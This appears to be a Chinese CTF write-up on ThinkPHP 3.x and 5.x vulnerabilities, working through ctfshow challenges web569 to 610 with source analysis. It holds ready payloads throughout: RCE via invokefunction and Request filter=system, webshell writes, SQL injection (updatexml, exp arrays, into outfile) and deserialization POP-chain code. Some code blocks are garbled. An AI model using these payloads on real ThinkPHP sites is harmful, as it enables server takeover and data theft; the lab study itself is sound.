ThinkPHP5.x RCE 漏洞描述 本次漏洞存在于 Builder
类的 parseData
方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL
语句,导致 SQL注入漏洞
的产生。漏洞影响版本: 5.0.13<=ThinkPHP<=5.0.15
、 5.1.0<=ThinkPHP<=5.1.5
。
环境搭建 使用vulhub的docker环境一键部署
systemctl start docker //启动docker
git clone https://github.com/vulhub/vulhub.git //拉取vulhub靶场代码
cd /vulhub/thinkphp/5-rce //进入5-rce目录
docker-compose up -d //启动docker环境
docker-compose ps //查看服务端口
漏洞分析
跟进controller的走向
当控制器名中包含了反斜杠,就会直接返回
经过parseName之后index变成了首字母大写
回到thinkphp/library/think/App.php
的module
方法,正常情况下应该获取到对应控制器类的实例化对象,而我们现在得到了一个\think\App
的实例化对象,进而通过url调用其任意的public方法,同时解析url中的额外参数,当作方法的参数传入。
payload:
1 2 index .php?s=/Index /\think\app/invokefunction&function =call_user_func_array&vars [0]=phpinfo&vars [1][]=-1
think\request 在 request 类里,其实也有一个很好的rce利用点,
payload
1 ?s =index/\think\request/input?data[]=-1&filter =phpinfo
think\template\driver\file
payload
1 ?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php %20 phpinfo();?>
然后当前目录访问shell.php 就ok了。
ctfshow-web569 首先,thinkphp3的URL模式,ThinkPHP支持的 URL模式有四种:普通模式、PATHINFO、REWRITE和兼容模式。
入口文件是应用的单一入口,对应用的所有请求都定向到应用入口文件,系统会从URL参数中解析当前请求的模 块、控制器和操作:
http://serverName/index.php/
模块/控制器/操作
–普通模式:
普通模式也就是传统的GET传参方式来指定当前访问的模块和操作,例如:
http://localhost/?m=home&c=user&a=login&var=value
m参数表示模块,c参数表示控制器,a参数表示操作(当然这些参数都是可以配置的),后面的表示其他GET参 数。
–PATHINFO模式:
PATHINFO模式是系统的默认URL模式,提供了最好的SEO支持,系统内部已经做了环境的兼容处理,所以能够 支持大多数的主机环境。对应上面的URL模式,PATHINFO模式下面的URL访问地址是:
http://localhost/index.php/home/user/login/var/value/
PATHINFO地址的前三个参数分别表示模块/控制器/操作。
–REWRITE模式:
REWRITE模式是在PATHINFO模式的基础上添加了重写规则的支持,可以去掉URL地址里面的入口文件 index.php,但是需要额外配置WEB服务器的重写规则。
http://localhost/home/user/login/var/value
–兼容模式:
兼容模式是用于不支持PATHINFO的特殊环境,URL地址是:
http://localhost/?s=/home/user/login/var/value
其中参数s来自于ThinkPHP->Conf->convention.php中的VAR_PATH_INFO设置,可以更改兼容模式变量的名称定义
要求使用pathinfo
模式进行访问,那么payload就简单了
1 http ://0 e40 cc8 f-4401 -4 c88 -9 e29 -ba3 de9948030 .challenge.ctf.show/index.php/Admin/Login/ctfshowLogin
ctfshow-web570
利用路由功能,可以让你的URL地址更加简洁和优雅。ThinkPHP支持对模块的URL地址进行路由操作(路由功能 是针对PATHINFO模式或者兼容URL而设计的,暂时不支持普通URL模式)
ThinkPHP的路由功能包括:
正则路由
规则路由
静态路由(URL映射)
闭包支持
题目提供了一个application,在里面找找后面,直接搜索URL_ROUTE_RULES
在Application/Commom/Conf/config.php中,发现闭包路由后门
当我们访问/index.php/ctfshow/a/b时,会执行call_user_func(a,b)
函数
call_user_func函数类似于一种特别的调用函数的方法
1 2 3 4 5 6 7 8 9 10 11 12 <?php function increment (&$var ) { $var ++; } $a = 0 ;call_user_func('increment' , $a ); echo $a ; ?>
用get传参是会出现;
和/
传不进去的情况
1 2 3 http ://e7274 b3 a-1 acf-4642 -8 a90 -b44 a12 b727 ca.challenge.ctf.show//index.php/ctfshow/assert/eval($_POST[1 ])1 =system('cat /fla*');
ctfshow-web571 $this->show 造成命令执行 在 Home\Controller\IndexController
下的index中传入了一个可控参数,跟进调试看一下。
1 2 3 4 5 6 7 class IndexController extends Controller { public function index ($n ='' ) { $this ->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script></p>Hello ' .$n , 'utf-8' ); } }
跟进 display()
1 2 3 protected function show ($content ,$charset ='' ,$contentType ='' ,$prefix ='' ) { $this ->view->display('' ,$charset ,$contentType ,$content ,$prefix ); }
一路跟进到 fetch()
,然后一路进入 Hook::listen('view_parse', $params);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public function fetch ($templateFile ='' , $content ='' , $prefix ='' ) { if (empty ($content )) { $templateFile = $this ->parseTemplate($templateFile ); if (!is_file($templateFile )) { E(L('_TEMPLATE_NOT_EXIST_' ).':' .$templateFile ); } } else { defined('THEME_PATH' ) or define('THEME_PATH' , $this ->getThemePath()); } ob_start(); ob_implicit_flush(0 ); if ('php' == strtolower(C('TMPL_ENGINE_TYPE' ))) { $_content = $content ; extract($this ->tVar, EXTR_OVERWRITE); empty ($_content )?include $templateFile :eval ('?>' .$_content ); } else { $params = array ('var' =>$this ->tVar,'file' =>$templateFile ,'content' =>$content ,'prefix' =>$prefix ); Hook::listen('view_parse' , $params ); } $content = ob_get_clean(); Hook::listen('view_filter' , $content ); return $content ; }
关键地方在这,我们之前 index
里的内容被存入了缓存文件php文件中,连带着我们输入的可控的php代码也在其中,然后包含了该文件,所以造成了命令执行。
1 2 3 4 5 6 public function load ($_filename ,$vars =null ) { if (!is_null($vars )){ extract($vars , EXTR_OVERWRITE); } include $_filename ; }
传入的n也就是content在TMPL_ENGINE_TYPE是php的情况下会进到eval函数中。
所以我们直接传php代码就可以了。 payload:
1 ?n=<?php system('cat /f*' );?>
ctfshow-web572——未授权访问日志
此题需要使用爆破来获得关键信息,非扫描,爆破次数不会超过365次,否则均为无效操作
如果debug之前没有关,或是目录限制没做好,可能造成信息泄露. ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志,所以如果你之前在线上开启过debug目录 限制又没做好,那么就可以尝试利用
1 index.php?showctf=<?php system("cat /f*" );?>
ctfshow-web573—tp3.2.3sql注入 源代码
1 2 3 4 5 6 7 8 class IndexController extends Controller { public function index () { $a=M('xxx' ); $id=I('GET.id' ); $b=$a->find($id); var_dump($b); } }
跟进find函数,在find函数中_parseOptions
对$options
进行了处理,继续跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 protected function _parseOptions ($options=array() ) { if (is_array($options)) { $options = array_merge($this ->options, $options); } if (!isset($options['table' ])) { $options['table' ] = $this ->getTableName(); $fields = $this ->fields; } else { $fields = $this ->getDbFields(); } if (!empty($options['alias' ])) { $options['table' ] .= ' ' .$options['alias' ]; } $options['model' ] = $this ->name; if (isset($options['where' ]) && is_array($options['where' ]) && !empty($fields) && !isset($options['join' ])) { foreach ($options['where' ] as $key=>$val) { $key = trim($key); if (in_array($key, $fields, true )) { if (is_scalar($val)) { $this ->_parseType($options['where' ], $key); } } elseif (!is_numeric($key) && '_' != substr($key, 0 , 1 ) && false === strpos($key, '.' ) && false === strpos($key, '(' ) && false === strpos($key, '|' ) && false === strpos($key, '&' )) { if (!empty($this ->options['strict' ])) { E(L('_ERROR_QUERY_EXPRESS_' ).':[' .$key.'=>' .$val.']' ); } unset($options['where' ][$key]); } } } $this ->options = array(); $this ->_options_filter($options); return $options; }
可以看到如果我们的数据库中的id是int型会进入intval函数,会直接去掉其他字符达到过滤的效果,如果id的类型是char则会接着往下走。
_parseType
对$options
进行了处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if (isset($options['where' ]) && is_array($options['where' ]) && !empty($fields) && !isset($options['join' ])) { foreach ($options['where' ] as $key=>$val) { $key = trim($key); if (in_array($key, $fields, true )) { if (is_scalar($val)) { $this ->_parseType($options['where' ], $key); } } elseif (!is_numeric($key) && '_' != substr($key, 0 , 1 ) && false === strpos($key, '.' ) && false === strpos($key, '(' ) && false === strpos($key, '|' ) && false === strpos($key, '&' )) { if (!empty($this ->options['strict' ])) { E(L('_ERROR_QUERY_EXPRESS_' ).':[' .$key.'=>' .$val.']' ); } unset($options['where' ][$key]); } } }
执行完_parseType
后回到find
中的select
1 2 3 4 5 6 7 8 9 10 11 12 $options =$this ->_parse0ptions($options); if (isset($options[ ' cache' ])4 $cache = $options[ " cache']; $key = is_string($cache[ 'key'])?$cache[ " key']:md5(serialize($options) $data = S($key, ' ",$cache); if(false !=- $data){ $this->data= $data; return $data; } $resultset = $this->db->select($options);
1 2 3 4 5 6 7 public function select ($options=array() ) { $this ->model = $options[ ' model "]; $this->parseBind( !empty($options[ ' bind "])?$options[ 'bind ' ]: array()); $sql = $this->buildselectsq1($options); $result = $this->query($sql,!empty($options[ 'fetch_sql']) ? true : false); return $result; }
跟进buildSelectSql中的parseSql
1 2 3 4 5 6 7 8 9 10 11 12 public function buildSelectSql ($options=array() ) { if (isset($options['page' ])) { list($page,$listRows) = $options['page' ]; $page = $page>0 ? $page : 1 ; $listRows= $listRows>0 ? $listRows : (is_numeric($options['limit' ])?$options['limit' ]:20 ); $offset = $listRows*($page-1 ); $options['limit' ] = $offset.',' .$listRows; } $sql = $this ->parseSql($this ->selectSql,$options); return $sql; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public function parseSql ($sql,$options=array() ) { $sql = str_replace( array('%TABLE%' ,'%DISTINCT%' ,'%FIELD%' ,'%JOIN%' ,'%WHERE%' ,'%GROUP%' ,'%HAVING%' ,'%ORDER%' ,'%LIMIT%' ,'%UNION%' ,'%LOCK%' ,'%COMMENT%' ,'%FORCE%' ), array( $this ->parseTable($options['table' ]), $this ->parseDistinct(isset($options['distinct' ])?$options['distinct' ]:false ), $this ->parseField(!empty($options['field' ])?$options['field' ]:'*' ), $this ->parseJoin(!empty($options['join' ])?$options['join' ]:'' ), $this ->parseWhere(!empty($options['where' ])?$options['where' ]:'' ), $this ->parseGroup(!empty($options['group' ])?$options['group' ]:'' ), $this ->parseHaving(!empty($options['having' ])?$options['having' ]:'' ), $this ->parseOrder(!empty($options['order' ])?$options['order' ]:'' ), $this ->parseLimit(!empty($options['limit' ])?$options['limit' ]:'' ), $this ->parseUnion(!empty($options['union' ])?$options['union' ]:'' ), $this ->parseLock(isset($options['lock' ])?$options['lock' ]:false ), $this ->parseComment(!empty($options['comment' ])?$options['comment' ]:'' ), $this ->parseForce(!empty($options['force' ])?$options['force' ]:'' ) ),$sql); return $sql; }
知道我们的id的值在$options[‘where’]中,跟进parseWhere
最终是进到了parseValue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 protected function parseValue ($value) { if (is_string($value)) { $value = strpos($value,':' ) === 0 && in_array($value,array_keys($this ->bind))? $this ->escapeString($value) : '\'' .$this ->escapeString($value).'\'' ; }elseif(isset($value[0 ]) && is_string($value[0 ]) && strtolower($value[0 ]) == 'exp' ){ $value = $this ->escapeString($value[1 ]); }elseif(is_array($value)) { $value = array_map(array($this , 'parseValue' ),$value); }elseif(is_bool($value)){ $value = $value ? '1' : '0' ; }elseif(is_null($value)){ $value = 'null' ; } return $value; }
1 2 3 public function escapestring ($str) { return addslashes($str); }
也就是通过addslashes()函数进行转义
1 2 3 4 5 6 addslashes() 函数会在预定义字符之前添加反斜杠的字符串。 预定义字符是: 单引号(') 双引号(") 反斜杠(\) NULL
假设我们传入的内容是数组呢?id[where]=1'
当我们传入的是数组时,不会进入下面的if中,所以$options['where']="1'"
,否则的话就是 $options['where']['id']="1'"
走到_parseOptions
,如果我们的$options['where']
是数组的话会进入_parseType
,我们前面说到,现在的$options['where']="1'"
是个字符串,也就不会进入这个if,所以当目标数据库中的id字段是int型时可以绕过intval过滤。
1 2 3 4 5 6 7 //爆表 index .php?id[where ]= 1 %20 and %20 updatexml(1 ,concat(0x7e ,(select group_concat(table_name ) from information_schema.tables where table_schema=database ()),0x7e ),1 ) %23 //爆列名 index .php?id[where ]= 1 %20 and %20 updatexml(1 ,concat(0x7e ,(select group_concat(column_name ) from information_schema.columns where table_name ='flags' ),0x7e ),1 ) %23 //爆字段值 index .php?id[where ]= 1 %20 and %20 updatexml(1 ,concat(0x7e ,substr((select group_concat(flag4s) from flags),16 ,32 ),0x7e ),1 ) %23
ctfshow-web574 题目给了首页的源码
1 2 3 4 public function index ($id =1 ) {$name = M('Users' )->where('id=' .$id )->find();$this ->show($html );}
传入?id=1'
最终在where函数中只执行了下面第二个if部分。转换为数组。也就是 $this->options['where']=array("_string"=>"1'")
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public function where ($where,$parse=null ) { if (!is_null($parse) && is_string($where)) { if (!is_array($parse)) { $parse = func_get_args(); array_shift($parse); } $parse = array_map(array($this ->db,'escapeString' ),$parse); $where = vsprintf($where,$parse); }elseif(is_object($where)){ $where = get_object_vars($where); } if (is_string($where) && '' != $where){ $map = array(); $map['_string' ] = $where; $where = $map; } if (isset($this ->options['where' ])){ $this ->options['where' ] = array_merge($this ->options['where' ],$where); }else { $this ->options['where' ] = $where; } return $this ; }
此时传入的$where
就是我们$this->options['where']
的值也就是array("_string"=>"1'")
。所以我们会进入下面的if
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 protected function parseWhere ($where) { $whereStr = '' ; if (is_string($where)) { $whereStr = $where; }else { $operate = isset($where['_logic' ])?strtoupper($where['_logic' ]):'' ; if (in_array($operate,array('AND' ,'OR' ,'XOR' ))){ $operate = ' ' .$operate.' ' ; unset($where['_logic' ]); }else { $operate = ' AND ' ; } foreach ($where as $key=>$val){ if (is_numeric($key)){ $key = '_complex' ; } if (0 ===strpos($key,'_' )) { $whereStr .= $this ->parseThinkWhere($key,$val);
$key
是'_string'
$val
是id=1'
,,所以最终返回的内容是( id=1 )
,所以执行的sql语句是select \* from xxx where (id=1') limit 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 protected function parseThinkWhere ($key,$val) { $whereStr = '' ; switch ($key) { case '_string' : $whereStr = $val; break ; case '_complex' : $whereStr = substr($this ->parseWhere($val),6 ); break ; case '_query' : parse_str($val,$where); if (isset($where['_logic' ])) { $op = ' ' .strtoupper($where['_logic' ]).' ' ; unset($where['_logic' ]); }else { $op = ' AND ' ; } $array = array(); foreach ($where as $field=>$data) $array[] = $this ->parseKey($field).' = ' .$this ->parseValue($data); $whereStr = implode($op,$array); break ; } return '( ' .$whereStr.' )' ; }
在外面多了一层括号,可以尝试闭合:
1 2 ?id=-1) union select 1,user(),3,4%23 ?id=-1) union select 1,group_concat(flag4s),3,4 from flags%23
ctfshow-web575 thinkPHP3.2.3反序列化漏洞
给了源码
$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}
首先引起注意的是show()函数,前面提到这个函数可以执行php代码。所以我们只要能控制$user->username就可以了。 处于rce的目的的话不进if我们会方便很多。 我们可以直接构造一个类,给他的来个id变量和username变量
payload: 1 2 3 4 5 6 7 8 9 10 11 12 <?php namespace Home \Controller {class IndexController { public $id='1'; public $username ='<?php system("cat /f*");?>' ; } } namespace { use Home \Controller \IndexController ; echo base64_encode(serialize(new IndexController())); } ?>
1 2 3 get ?id =1修改cookie user =TzozMToiSG9tZVxDb250cm9sbGVyXEluZGV4Q29udHJvbGxlciI6Mjp7czoyOiJpZCI7czoxOiIxIjtzOjg6InVzZXJuYW1lIjtzOjI2OiI8P3BocCBzeXN0ZW0oImNhdCAvZioiKTs/PiI7fQ==
payload2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 <?php namespace Think \Image \Driver { use Think \Session \Driver \Memcache ; class Imagick { private $img ; public function __construct ( ) { $this ->img = new Memcache(); } } } namespace Think \Session \Driver { use Think \Model ; class Memcache { protected $handle ; public function __construct ( ) { $this ->handle = new Model(); } } } namespace Think { use Think \Db \Driver \Mysql ; class Model { protected $data =array (); protected $pk ; protected $options =array (); protected $db =null ; public function __construct ( ) { $this ->db = new Mysql(); $this ->options['where' ] = '' ; $this ->pk = 'id' ; $this ->data[$this ->pk] = array ( 'where' =>'1=1' , 'table' =>'mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#' ); } } } namespace Think \Db \Driver { use PDO ; class Mysql { protected $config = array ( 'debug' => true , "charset" => "utf8" , 'type' => 'mysql' , 'hostname' => 'localhost' , 'database' => 'thinkphp' , 'username' => 'root' , 'password' => 'root' , 'hostport' => '3306' , ); protected $options = array ( PDO::MYSQL_ATTR_LOCAL_INFILE => true ); } } namespace { echo base64_encode (serialize (new Think \Image \Driver \Imagick () )); } ?>
原理: 全局搜索 function __destruct
,找一个起点。
在文件:/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php
中找到了 Imagick
类的 __destruct
方法。
1 2 3 public function __destruct ( ) { empty ($this ->img) || $this ->img->destroy(); }
这里 $this->img
是可控的,所以我们接着找一下 destroy()
函数。共有三个,选择了 ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
中的 Memcache
类的 destroy
函数。这里有个坑,由于上面调用 destroy()
函数时没有参数传入,而我们找到的是有参数的,PHP7下起的ThinkPHP在调用有参函数却没有传入参数的情况下会报错,所以我们要选用PHP5而不选用PHP7.
1 2 3 public function destroy ($sessID ) { return $this ->handle->delete($this ->sessionName.$sessID ); }
这里handle
可控,那么就接着找 delete
函数。在 ThinkPHP/Mode/Lite/Model.class.php
的 Model
类中找到了合适的函数,当然选用 /ThinkPHP/Library/Think/Model.class.php
中的该函数也是可以的。我们的目的就是进入 $this->delete($this->data[$pk])
。所以这里只截取了前面部分的代码。
1 2 3 4 5 6 7 8 9 10 public function delete ($options =array ( ) ) { $pk = $this ->getPk(); if (empty ($options ) && empty ($this ->options['where' ])) { if (!empty ($this ->data) && isset ($this ->data[$pk ])) return $this ->delete($this ->data[$pk ]); else return false ; } }
我们想要调用这个if中的 delete
,就要使得我们传入的 $options
为空,且 $this->options['where']
为空,是可控的,所以走到第二个if,$this->data
不为空,且 $this->data[$pk]
存在,满足条件就可以调用 delete($this->data[$pk])
了。而 $pk
就是 $this->pk
,都是可控的。
之前因为 destroy()
调用时没有参数,使得调用 delete
函数参数部分可控,而现在我们正常带着参数进入了 delete
函数,就可以接着往下走了。直到运行至 $result = $this->db->delete($options);
,调用了ThinkPHP数据库模型类中的 delete()
方法。
这里的 $table
是取自传入的参数,可控,直接拼接到 $sql
中,然后传入了 $this->execute
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public function delete ($options =array ( ) ) { $this ->model = $options ['model' ]; $this ->parseBind(!empty ($options ['bind' ])?$options ['bind' ]:array ()); $table = $this ->parseTable($options ['table' ]); $sql = 'DELETE FROM ' .$table ; if (strpos($table ,',' )){ if (!empty ($options ['using' ])){ $sql .= ' USING ' .$this ->parseTable($options ['using' ]).' ' ; } $sql .= $this ->parseJoin(!empty ($options ['join' ])?$options ['join' ]:'' ); } $sql .= $this ->parseWhere(!empty ($options ['where' ])?$options ['where' ]:'' ); if (!strpos($table ,',' )){ $sql .= $this ->parseOrder(!empty ($options ['order' ])?$options ['order' ]:'' ) .$this ->parseLimit(!empty ($options ['limit' ])?$options ['limit' ]:'' ); } $sql .= $this ->parseComment(!empty ($options ['comment' ])?$options ['comment' ]:'' ); return $this ->execute($sql ,!empty ($options ['fetch_sql' ]) ? true : false ); }
ctfshow-web576(ThinkPHP v3.2注释注入) 当我们传入id=1时最终的sql语句为select * from users where id=1 limit 1 /* 1*/ 构造
payload: 1 ?id=1*/ into outfile "/var/www/html/1.php" LINES STARTING BY ' <?php eval ($_POST [0 ]);?> '/*
原理: 注释注入
触发注释注入的调用为:$user = M('user')->comment($id)->find(intval($id));
。
调试跟进一下,调用的是 Think\Model.class.php
中的 comment
1 2 3 4 5 6 7 8 9 10 11 public function comment ($comment ) { $this ->options['comment' ] = $comment ; return $this ; }
之后调用 Think\Model
的find方法。一直到调用了 Think\Db\Driver.class.php
中的 parseComment
函数,将我们输入的内容拼接在了注释中,于是我们可以将注释符闭合,然后插入SQL语句。此时的SQL语句为 "SELECT * FROM
userWHERE
id= 1 LIMIT 1 /* 1 */"
1 2 3 protected function parseComment ($comment ) { return !empty ($comment )? ' /* ' .$comment .' */' :'' ; }
如果这里没有 LIMIT 1
的话我们可以直接进行union注入,但是这里有 LIMIT 1
,进行union注入会提示 Incorrect usage of UNION and LIMIT
,只有同时把union前的SQL查询语句用括号包起来才可以进行查询,但是显然我们无法做到,那么我们可以利用 into outfile
的拓展来进行写文件。
1 2 3 4 5 6 7 "OPTION"参数为可选参数选项,其可能的取值有: `FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。 `FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。 `FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。 `FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。 `LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。 `LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。
?id=1*/ into outfile "path/1.php" LINES STARTING BY '<?php eval($_POST[1]);?>'/*
就可以进行写马了。
web577(exp注入) flag在数据库中
$map=array( 'id'=>$_GET['id'] );
$user = M('Users')->where($map)->find();
payload: 1 ?id[0]=exp&id[1]==-1 union select 1,group_concat(flag4s),3,4 from flags
原理 触发exp注入的查询语句如下。
1 2 3 4 5 6 7 8 9 public function sql ( ) { $User = D('user' ); var_dump($_GET ['id' ]); $map = array ('id' => $_GET ['id' ]); $user = $User ->where($map )->find(); var_dump($user ); }
这里一路跟进到 parseSql()
函数,然后调用到 parseWhere()
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public function parseSql ($sql ,$options =array ( ) ) { $sql = str_replace( array ('%TABLE%' ,'%DISTINCT%' ,'%FIELD%' ,'%JOIN%' ,'%WHERE%' ,'%GROUP%' ,'%HAVING%' ,'%ORDER%' ,'%LIMIT%' ,'%UNION%' ,'%LOCK%' ,'%COMMENT%' ,'%FORCE%' ), array ( $this ->parseTable($options ['table' ]), $this ->parseDistinct(isset ($options ['distinct' ])?$options ['distinct' ]:false ), $this ->parseField(!empty ($options ['field' ])?$options ['field' ]:'*' ), $this ->parseJoin(!empty ($options ['join' ])?$options ['join' ]:'' ), $this ->parseWhere(!empty ($options ['where' ])?$options ['where' ]:'' ), $this ->parseGroup(!empty ($options ['group' ])?$options ['group' ]:'' ), $this ->parseHaving(!empty ($options ['having' ])?$options ['having' ]:'' ), $this ->parseOrder(!empty ($options ['order' ])?$options ['order' ]:'' ), $this ->parseLimit(!empty ($options ['limit' ])?$options ['limit' ]:'' ), $this ->parseUnion(!empty ($options ['union' ])?$options ['union' ]:'' ), $this ->parseLock(isset ($options ['lock' ])?$options ['lock' ]:false ), $this ->parseComment(!empty ($options ['comment' ])?$options ['comment' ]:'' ), $this ->parseForce(!empty ($options ['force' ])?$options ['force' ]:'' ) ),$sql ); return $sql ; }
parseWhere()
调用了 parseWhereItem()
,截取了部分关键代码,这里的 $val
就是我们传入的参数,所以当我们传入数组时,$exp
就是数组的第一个值,如果等于exp,就会使用.直接将数组的第二个值拼接上去,就会造成SQL注入。
1 2 3 4 5 6 7 $exp = strtolower($val [0 ]);...... elseif ('bind' == $exp ){ $whereStr .= $key .' = :' .$val [1 ]; }elseif ('exp' == $exp ){ $whereStr .= $key .' ' .$val [1 ]; }
也就是说当我们传入 ?id[0]=exp&id[1]== 1 and updatexml(1,concat(0x7e,user(),0x7e),1)
时,拼接后的字符串就是 "
id = 1 and updatexml(1,concat(0x7e,user(),0x7e),1)"
,最后的SQL语句也就成了 "SELECT * FROM
userWHERE
id =1 and updatexml(1,concat(0x7e,user(),0x7e),1) LIMIT 1 "
,可以进行报错注入了。
这里使用了全局数组 $_GET
来传参,而不是tp自带的 I()
函数,是因为在 I()
函数的最后有这么一句代码,
1 is_array($data ) && array_walk_recursive($data ,'think_filter' );
调用了 think_filter()
函数来进行过滤,刚好就过滤了 EXP
,在后面加上了一个空格,那么自然也就无法进行上面的流程,不能进行注入了。
1 2 3 4 5 6 7 8 function think_filter (&$value ) { if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i' ,$value )){ $value .= ' ' ; } }
web578(模板变量覆盖) 1 2 3 4 5 变量覆盖导致rce public function index ($name ='' ,$from ='ctfshow' ) {$this ->assign($name ,$from );$this ->display('index' );}
payload:
1 ?name[_content]=<?php system('cat /f*' );?>
原理 触发rce的代码如下。
1 2 3 4 5 public function test ($name ='' , $from ='ctfshow' ) { $this ->assign($name , $from ); $this ->display('index' ); }
先调用 assign()
函数。
1 2 3 4 5 6 7 8 public function assign ($name , $value ='' ) { if (is_array($name )) { $this ->tVar = array_merge($this ->tVar, $name ); } else { $this ->tVar[$name ] = $value ; } }
当我们传入 ?name=_content&from=<?php system("whoami")?>
时经过 assign()
函数后就有:$this->view->tVar["_content"]="<?php system("whoami")?>"
display()
函数跟进,$content
获取模板内容。
1 2 3 4 5 6 7 8 9 10 11 12 public function display ($templateFile ='' , $charset ='' , $contentType ='' , $content ='' , $prefix ='' ) { G('viewStartTime' ); Hook::listen('view_begin' , $templateFile ); $content = $this ->fetch($templateFile , $content , $prefix ); $this ->render($content , $charset , $contentType ); Hook::listen('view_end' ); }
这里调用了 fetch()
函数,有一个if判断,如果使用了PHP原生模板就进入这个判断,这个就对应的是 ThinkPHP\Conf\convention.php
中的 'TMPL_ENGINE_TYPE' => 'php',
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public function fetch ($templateFile ='' , $content ='' , $prefix ='' ) { if (empty ($content )) { $templateFile = $this ->parseTemplate($templateFile ); if (!is_file($templateFile )) { E(L('_TEMPLATE_NOT_EXIST_' ).':' .$templateFile ); } } else { defined('THEME_PATH' ) or define('THEME_PATH' , $this ->getThemePath()); } ob_start(); ob_implicit_flush(0 ); if ('php' == strtolower(C('TMPL_ENGINE_TYPE' ))) { $_content = $content ; extract($this ->tVar, EXTR_OVERWRITE); empty ($_content )?include $templateFile :eval ('?>' .$_content ); } else { $params = array ('var' =>$this ->tVar,'file' =>$templateFile ,'content' =>$content ,'prefix' =>$prefix ); Hook::listen('view_parse' , $params ); } $content = ob_get_clean(); Hook::listen('view_filter' , $content ); return $content ; }
这里进入判断后,执行了 extract($this->tVar, EXTR_OVERWRITE);
,而通过前面的分析得知我们已有 $this->view->tVar["_content"]="<?php system("whoami")?>"
,因此这里就存在变量覆盖,将 $_content
覆盖为了我们输入的要执行的命令。
随后执行 empty($_content)?include $templateFile:eval('?>'.$_content);
,此时的 $_content
显然不为空,所以会执行 eval('?>'.$_content);
,也就造成了命令执行。
ctfshow-Web579未开启强制路由RCE thinkphp5RCE
payload:
1 2 3 4 ?s=index/think\app/i nvokefunction&function =call_user_func_array&vars[0 ]=system&vars[1 ][]=whoami ?s=index/think\app/i nvokefunction&function =call_user_func_array&vars[0 ]=system&vars[1 ][]=ls ?s=index/think\app/i nvokefunction&function =call_user_func_array&vars[0 ]=system&vars[1 ][]=ls /../ ?s=index/think\app/i nvokefunction&function =call_user_func_array&vars[0 ]=system&vars[1 ][]=cat /../ f*
ctfshow-Web604 换一种姿势
1 2 3 4 5 ?s=index /\think\Request/input &filter =system &data=whoami ?s=index /\think\Request/input &filter =system &data=ls /../ ?s=index /\think\Request/input &filter =system &data=cat /../f *
ctfshow-Web605 上个路也走不通了
通过写文件,访问shell.php
1 ?s=index/\think\template\driver\file /write&cacheFile =shell.php&content=%3C?php%20system('cat /f*' );?%3E
ctfshow-Web606-610 使用read,伪协议
1 2 ?s=index/\think\template\driver\file/read&cacheFile=data:
thinkphp 5.1.38反序列化RCE
[ThinkPHP v5.1.x 反序列化 分析](http://www.yongsheng.site/2022/01/04/ThinkPHP v5.1.x 反序列化 分析/)
payload:
